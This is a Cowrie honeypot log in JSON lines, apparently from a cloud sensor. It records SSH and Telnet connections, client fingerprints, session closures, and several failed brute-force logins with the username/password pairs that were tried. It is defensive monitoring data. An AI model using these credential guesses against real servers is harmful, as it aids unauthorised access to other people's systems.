{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:43.558224Z","src_ip":"152.32.172.177","session":"77eb6ff0d9e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:43.776496Z","src_ip":"152.32.172.177","session":"77eb6ff0d9e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:44.175251Z","src_ip":"80.94.92.171","session":"798cf487761a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wyr","message":"login attempt [root/wyr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:44.686642Z","src_ip":"152.32.172.177","session":"77eb6ff0d9e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:45.608495Z","src_ip":"80.94.92.171","session":"798cf487761a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:12:45.906990Z","src_ip":"152.32.172.177","session":"77eb6ff0d9e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.78.155.180","src_port":57730,"dst_ip":"10.17.0.5","dst_port":22,"session":"f1be2b7347f8","protocol":"ssh","message":"New connection: 40.78.155.180:57730 (10.17.0.5:22) [session: f1be2b7347f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:02.877336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:02.882163Z","src_ip":"40.78.155.180","session":"f1be2b7347f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:02.928266Z","src_ip":"40.78.155.180","session":"f1be2b7347f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mythtv","message":"login attempt [root/mythtv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:03.138486Z","src_ip":"40.78.155.180","session":"f1be2b7347f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:04.186461Z","src_ip":"40.78.155.180","session":"f1be2b7347f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.71.238.254","src_port":52470,"dst_ip":"10.17.0.5","dst_port":23,"session":"404831155641","protocol":"telnet","message":"New connection: 167.71.238.254:52470 (10.17.0.5:23) [session: 404831155641]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:10.763420Z"}
{"eventid":"cowrie.session.connect","src_ip":"160.22.18.220","src_port":58740,"dst_ip":"159.203.135.109","dst_port":22,"session":"e17fc8abf1b9","protocol":"ssh","message":"New connection: 160.22.18.220:58740 (159.203.135.109:22) [session: e17fc8abf1b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:19.711696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:19.727381Z","src_ip":"160.22.18.220","session":"e17fc8abf1b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:19.968282Z","src_ip":"160.22.18.220","session":"e17fc8abf1b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ripple","message":"login attempt [root/ripple] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:20.965058Z","src_ip":"160.22.18.220","session":"e17fc8abf1b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.228.15.176","src_port":9803,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d0c683b062f","protocol":"telnet","message":"New connection: 150.228.15.176:9803 (10.17.0.5:23) [session: 9d0c683b062f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:21.295597Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:22.207983Z","src_ip":"160.22.18.220","session":"e17fc8abf1b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":60728,"dst_ip":"10.17.0.5","dst_port":22,"session":"af6443aec0a1","protocol":"ssh","message":"New connection: 194.59.206.2:60728 (10.17.0.5:22) [session: af6443aec0a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:24.273692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:24.277894Z","src_ip":"194.59.206.2","session":"af6443aec0a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:24.363311Z","src_ip":"194.59.206.2","session":"af6443aec0a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:24.454029Z","src_ip":"194.59.206.2","session":"af6443aec0a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":20.748327016830444,"message":"Connection lost after 20 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:31.511609Z","src_ip":"167.71.238.254","session":"404831155641","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.156.212.86","src_port":34798,"dst_ip":"10.17.0.5","dst_port":22,"session":"f789d58e57fd","protocol":"ssh","message":"New connection: 43.156.212.86:34798 (10.17.0.5:22) [session: f789d58e57fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:46.264170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:46.268947Z","src_ip":"43.156.212.86","session":"f789d58e57fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:46.515668Z","src_ip":"43.156.212.86","session":"f789d58e57fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Yy@123456","message":"login attempt [root/Yy@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:47.529817Z","src_ip":"43.156.212.86","session":"f789d58e57fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:48.778411Z","src_ip":"43.156.212.86","session":"f789d58e57fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00164365768433,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:52.296074Z","src_ip":"89.243.29.180","session":"46f98f1f74ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"89.243.29.180","src_port":34162,"dst_ip":"10.17.0.5","dst_port":23,"session":"c59c4c0c51a0","protocol":"telnet","message":"New connection: 89.243.29.180:34162 (10.17.0.5:23) [session: c59c4c0c51a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:13:53.597161Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":43288,"dst_ip":"159.203.135.109","dst_port":22,"session":"1573bb876413","protocol":"ssh","message":"New connection: 135.235.138.43:43288 (159.203.135.109:22) [session: 1573bb876413]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:06.994114Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:06.999154Z","src_ip":"135.235.138.43","session":"1573bb876413","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:07.192619Z","src_ip":"135.235.138.43","session":"1573bb876413","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:07.974364Z","src_ip":"135.235.138.43","session":"1573bb876413","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:09.164970Z","src_ip":"135.235.138.43","session":"1573bb876413","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.172.177","src_port":34210,"dst_ip":"10.17.0.5","dst_port":22,"session":"51a36c661440","protocol":"ssh","message":"New connection: 152.32.172.177:34210 (10.17.0.5:22) [session: 51a36c661440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:09.630497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:09.635220Z","src_ip":"152.32.172.177","session":"51a36c661440","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:09.854021Z","src_ip":"152.32.172.177","session":"51a36c661440","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"matrix","message":"login attempt [root/matrix] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:10.763249Z","src_ip":"152.32.172.177","session":"51a36c661440","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:11.985861Z","src_ip":"152.32.172.177","session":"51a36c661440","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.234.174.18","src_port":47330,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c3eb00b569c","protocol":"ssh","message":"New connection: 177.234.174.18:47330 (10.17.0.5:22) [session: 8c3eb00b569c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:12.294762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:12.300880Z","src_ip":"177.234.174.18","session":"8c3eb00b569c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:12.935094Z","src_ip":"177.234.174.18","session":"8c3eb00b569c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:15.134788Z","src_ip":"177.234.174.18","session":"8c3eb00b569c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.78.155.180","src_port":56794,"dst_ip":"10.17.0.5","dst_port":22,"session":"0161312bb09a","protocol":"ssh","message":"New connection: 40.78.155.180:56794 (10.17.0.5:22) [session: 0161312bb09a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:24.755146Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T00:14:24.760869Z","src_ip":"40.78.155.180","session":"0161312bb09a","protocol":"ssh"}
